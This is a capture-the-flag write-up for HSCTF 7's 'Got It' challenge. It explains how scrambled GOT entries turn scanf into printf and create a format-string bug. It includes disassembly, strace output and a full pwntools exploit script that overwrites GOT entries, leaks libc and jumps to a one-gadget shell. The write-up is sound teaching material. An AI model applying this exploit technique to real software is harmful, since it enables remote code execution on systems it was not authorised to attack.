HSCTF 7 / Published
Got It
A scrambled GOT turns the binary's scanf into printf, and the resulting format-string write redirects a GOT entry to a one-gadget shell.
Contents 5
Files 1
- Target
- amd64, Ubuntu 18.04
- RELRO
- Full
- Canary
- Not found
- NX
- Enabled
- PIE
- Disabled
Oh no, someone’s messed with my GOT entries, and now my function calls are all wrong! Please, you have to help me! I’ll do anything to make my function calls right!
This is running on Ubuntu 18.04, with the standard libc.
Connect with
nc pwn.hsctf.com 5004.Author: PMP
Inspecting the binary
As with most pwn challenges, let’s start off by checking what kind of binary we’re given.
vagrant@ctf:/vagrant/challenges/hsctf/Got It$ file got_it
got_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6ea73b9292490795954e28c84bc26a05a3fc6c1f, for GNU/Linux 3.2.0, not strippedOkay, a 64 bit ELF binary. Let’s run it to get a better idea of what it does.
vagrant@ctf:/vagrant/challenges/hsctf/Got It$ ./got_it
Just minding my own business... AH SHOOT SOMEONE'S ATTACKING ME!
Oh mein GOT, MEINE LIBC FUNKTIONEN SIND ALLE FALSCH!
Give me sumpfink to help me out!
asdf
I don't think "asdf" worked!
Tracing unexpected function calls
Once we run the binary, it asks us for sumpfink to help them out. Once it takes our input, it sleeps for a while then tells us if our input “worked”. Let’s disassemble the binary to get a better idea of what’s going on.
lea rdi, large cs:4020D1h ; "I don't think \""
mov eax, 0
call sub_401098; "scanf("I don't think\"")"
lea rax, [rbp-110h]; "input"
mov rdi, rax
mov eax, 0
call sub_401098; "scanf(input)"
lea rdi, large cs:4020E1h ; "\" worked!!"
mov eax, 0
call sub_401098; "scanf("\" wordked!!")"
sub_401098 proc near
jmp cs:__isoc99_scanf_ptr
sub_401098 endpWhat the heck? This doesn’t make any sense at all. Based on the response when we ran the binary earlier, those are supposed to be printed instead of scanned. Could this be some mistake in the disassembly? Let’s run this with strace, to see what system calls are being made so that we can put our doubts to rest.
vagrant@ctf:/vagrant/challenges/hsctf/Got It$ strace ./got_it
execve("./got_it", ["./got_it"], 0x7fffffffddb0 /* 55 vars */) = 0
brk(NULL) = 0x405000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=100091, ...}) = 0
mmap(NULL, 100091, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffff7fde000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260\34\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2030544, ...}) = 0
mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffff7fdc000
mmap(NULL, 4131552, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffff79e4000
mprotect(0x7ffff7bcb000, 2097152, PROT_NONE) = 0
mmap(0x7ffff7dcb000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1e7000) = 0x7ffff7dcb000
mmap(0x7ffff7dd1000, 15072, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffff7dd1000
close(3) = 0
arch_prctl(ARCH_SET_FS, 0x7ffff7fdd4c0) = 0
mprotect(0x7ffff7dcb000, 16384, PROT_READ) = 0
mprotect(0x403000, 4096, PROT_READ) = 0
mprotect(0x7ffff7ffc000, 4096, PROT_READ) = 0
munmap(0x7ffff7fde000, 100091) = 0
write(1, "Just minding my own business... "..., 64Just minding my own business... AH SHOOT SOMEONE'S ATTACKING ME!) = 64
write(1, "\n", 1
) = 1
mprotect(0x403000, 4096, PROT_READ|PROT_WRITE) = 0
write(1, "Oh mein GOT, MEINE LIBC FUNKTION"..., 52Oh mein GOT, MEINE LIBC FUNKTIONEN SIND ALLE FALSCH!) = 52
write(1, "\n", 1
) = 1
rt_sigaction(SIGALRM, {sa_handler=0x401196, sa_mask=[ALRM], sa_flags=SA_RESTORER|SA_RESTART, sa_restorer=0x7ffff7a22f20}, {sa_handler=SIG_DFL, sa_mask=[], sa_flags=0}, 8) = 0
alarm(30) = 0
write(1, "Give me sumpfink to help me out!", 32Give me sumpfink to help me out!) = 32
write(1, "\n", 1
) = 1
read(0, asdf
"a", 1) = 1
read(0, "s", 1) = 1
read(0, "d", 1) = 1
read(0, "f", 1) = 1
read(0, "\n", 1) = 1
nanosleep({tv_sec=3, tv_nsec=0}, 0x7fffffffdb70) = 0
write(1, "I don't think \"", 15I don't think ") = 15
write(1, "asdf", 4asdf) = 4
write(1, "\" worked!!", 10" worked!!) = 10
exit_group(0) = ?
+++ exited with 0 +++The write calls confirm that text was printed in this run. To identify the function behind the __isoc99_scanf-named stub, we need to inspect its GOT target. Two things immediately stick out from this trace:
- We have extra things being printed e.g.
"Oh mein GOT, MEINE LIBC FUNKTION..." mprotect(0x403000, 4096, PROT_READ|PROT_WRITE)seems really out of place.
Following the GOT rewrites
Let’s investigate further using these as our leads.
mov rax, cs:puts_ptr
mov [rbp-30h], rax
mov rax, cs:printf_ptr
mov [rbp-28h], rax
mov rax, cs:__isoc99_scanf_ptr
mov [rbp-20h], rax
mov rax, cs:atoi_ptr
mov [rbp-18h], rax
mov rax, cs:alarm_ptr
mov [rbp-10h], rax
mov rax, cs:sleep_ptr
mov [rbp-8], rax
mov edx, 3 ; prot
mov esi, 1000h ; len
mov edi, 403000h ; addr
call _mprotect ; "mprotect(0x403000, 4096, PROT_READ|PROT_WRITE)"
mov rax, cs:table
lea rdx, [rax-48h]
mov rax, [rbp-18h]
mov [rdx], rax
mov rax, cs:table
lea rdx, [rax-40h]
mov rax, [rbp-20h]
mov [rdx], rax
mov rax, cs:table
lea rdx, [rax-18h]
mov rax, [rbp-28h]
mov [rdx], rax
mov rax, cs:table
lea rdx, [rax-20h]
mov rax, [rbp-30h]
mov [rdx], rax
mov rax, cs:table
lea rdx, [rax-38h]
mov rax, [rbp-8]
mov [rdx], rax
mov rax, cs:table
lea rdx, [rax-8]
mov rax, [rbp-10h]
mov [rdx], rax
lea rdi, large cs:402078h ; "Oh mein GOT, MEINE LIBC FUNKTIONEN SIND"...Setup first saves all six function pointers, then swaps them using those saved values. The variable table lives at 0x404010 and contains 0x404000; neither address is one of the slots being swapped. The stores subtract offsets from that stored base. Before writing, mprotect enables read and write on the page [0x403000, 0x404000). Let’s examine that range.
.got:0000000000403F70 _got segment para public 'DATA' use64
.got:0000000000403F70 assume cs:_got
.got:0000000000403F70 ;org 403F70h
.got:0000000000403F70 _GLOBAL_OFFSET_TABLE_ dq offset _DYNAMIC
.got:0000000000403F78 qword_403F78 dq 0 ; DATA XREF: sub_401020↑r
.got:0000000000403F80 qword_403F80 dq 0 ; DATA XREF: sub_401020+6↑r
.got:0000000000403F88 fgets_ptr dq offset fgets ; DATA XREF: _fgets↑r
.got:0000000000403F90 signal_ptr dq offset signal ; DATA XREF: _signal↑r
.got:0000000000403F98 setvbuf_ptr dq offset setvbuf ; DATA XREF: _setvbuf↑r
.got:0000000000403FA0 mprotect_ptr dq offset mprotect ; DATA XREF: _mprotect↑r
.got:0000000000403FA8 exit_ptr dq offset exit ; DATA XREF: _exit↑r
.got:0000000000403FB0 _ITM_deregisterTMCloneTable_ptr dq offset _ITM_deregisterTMCloneTable
.got:0000000000403FB0 ; DATA XREF: deregister_tm_clones+D↑r
.got:0000000000403FB8 puts_ptr dq offset __imp_puts ; DATA XREF: sub_401080↑r
.got:0000000000403FB8 ; setup+50↑r
.got:0000000000403FC0 printf_ptr dq offset printf ; DATA XREF: setup+5B↑r
.got:0000000000403FC8 alarm_ptr dq offset __imp_alarm ; DATA XREF: sub_401088↑r
.got:0000000000403FC8 ; setup+7C↑r
.got:0000000000403FD0 __libc_start_main_ptr dq offset __libc_start_main
.got:0000000000403FD0 ; DATA XREF: _start+28↑r
.got:0000000000403FD8 __gmon_start___ptr dq offset __gmon_start__
.got:0000000000403FD8 ; DATA XREF: _init_proc+8↑r
.got:0000000000403FE0 atoi_ptr dq offset __imp_atoi ; DATA XREF: sub_401090↑r
.got:0000000000403FE0 ; setup+71↑r
.got:0000000000403FE8 __isoc99_scanf_ptr dq offset __imp___isoc99_scanf
.got:0000000000403FE8 ; DATA XREF: sub_401098↑r
.got:0000000000403FE8 ; setup+66↑r
.got:0000000000403FF0 _ITM_registerTMCloneTable_ptr dq offset _ITM_registerTMCloneTable
.got:0000000000403FF0 ; DATA XREF: register_tm_clones+1F↑r
.got:0000000000403FF8 sleep_ptr dq offset __imp_sleep ; DATA XREF: sub_4010A0↑r
.got:0000000000403FF8 ; setup+87↑r
.got:0000000000403FF8 _got endsInterestingly, the Global Offset Table is within this range. This stands out to us for a couple of reasons:
- The challenge description references the GOT i.e.
Oh no, someone's messed with my GOT entries - The challenge is named Got it
- The disassembly we found above (the one with
mprotect) references GOT entries e.g.puts_ptr
The swaps explain the apparent change from scanf to printf: after the first setup, the __isoc99_scanf slot holds the function pointer for printf. Full RELRO makes the GOT read-only after relocation. The program explicitly removes that protection from this page with mprotect. The check below confirms Full RELRO is present.
vagrant@ctf:/vagrant/challenges/hsctf/Got It$ checksec got_it
[*] '/vagrant/challenges/hsctf/Got It/got_it'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)After the first call to setup, the six slots contain these function pointers:
| Imported name | Stored target |
|---|---|
puts | atoi |
printf | __isoc99_scanf |
alarm | sleep |
atoi | puts |
__isoc99_scanf | printf |
sleep | alarm |
Planning the format string exploit
This first setup state creates a format string vulnerability. fgets(input, 0x100, stdin) has already read the input, and the program replaces its newline with NUL. It then passes input in RDI to stub 0x401098. That stub reads the pointer in GOT slot 0x403fe8 and dispatches to printf(input), which treats the input as its format string. This permits reads and writes subject to the available arguments and memory permissions.
This table describes the first call to setup. With unmodified slots, two calls from the initial state restore the original targets. Exploit writes change the values moved by later calls, so the plan and script below depend on those later states.
Okay so let’s summarize our plan of attack:
-
First payload (loop main around, disable timeout and delay)
- Loop around main to send more payloads
- Overwrite
exitGOT entry tomain
- Overwrite
- Disable the timeout and delay calls
- Overwrite
sleepGOT entry to a ret gadget - Overwrite
alarmGOT entry to a ret gadget - Overwrite
signalGOT entry to a ret gadget
- Overwrite
- Loop around main to send more payloads
-
Second payload
- Leak libc address of
__libc_start_main + 231.
- Leak libc address of
-
Third payload
- Overwrite
printfGOT entry toone_gadget
- Overwrite
Writing the exploit
After the first swaps, the call named sleep(30) in setup reaches alarm, scheduling a timeout. The later call named alarm(3) reaches sleep, which explains the three-second delay in the trace.
The historical script writes the slot named printf in its final stage. That slot differs from the __isoc99_scanf slot used by the first-state format call. The repeated exploit state and one-gadget entry conditions have not been reverified here; the script and recorded flag are preserved below.
#! /usr/bin/python3
from pwn import *
HOST = 'pwn.hsctf.com'
PORT = 5004
BINARY = './got_it'
LIBC_PATH = './libc.so.6'
elf = context.binary = ELF(BINARY)
libc = ELF(LIBC_PATH)
elf.symbols['ret'] = 0x4012f8 # ret slide
libc.symbols['one_gadget'] = 0x4f322
def send_payload(payload):
log.info(f'Payload: {repr(payload)}')
r.sendline(payload)
r.recvuntil('"')
response = r.recvuntil('"')[:-1]
r.recvuntil('worked!!')
r.sendline()
r.sendline()
return response
# Add some swag
splash()
# Start connection
r = remote(HOST, PORT)
# Initialize format string helper
fmt = FmtStr(execute_fmt = send_payload, offset = 8)
# Stage 1: Loop main, disable sleep
with log.progress('Stage 1: Loop main, disable sleep'):
fmt.write(elf.got['exit'], elf.symbols['main'])
log.info('exit -> main')
fmt.write(elf.got['sleep'], elf.symbols['ret'])
fmt.write(elf.got['alarm'], elf.symbols['ret'])
fmt.write(elf.got['signal'], elf.symbols['ret'])
log.info('sleep -> ret')
log.info('alarm -> ret')
log.info('signal -> ret')
fmt.execute_writes()
# Stage 2: Leak libc_start_main + 231
with log.progress('Stage 2: Leak __libc_start_main + 231'):
libc_start_main_231 = fmt.leak_stack(119)
log.info(f'Leaked (__libc_start_main + 231): 0x{libc_start_main_231:08x}')
libc.address = libc_start_main_231 - (libc.symbols['__libc_start_main'] + 231)
log.info(f'Calculated libc base address: 0x{libc.address:08x}')
# Stage 3: One Gadget
with log.progress('Stage 3: One Gadget'):
fmt.write(elf.got['printf'], libc.symbols['one_gadget'])
log.info('printf -> one gadget')
fmt.execute_writes()
# Stage 4: Pwn
with log.progress('Stage 4: Pwn'):
r.interactive()
r.close()
Result
Flag: flag{fl1gh7_0f_7h3_l1bc_func710n5_77e82515}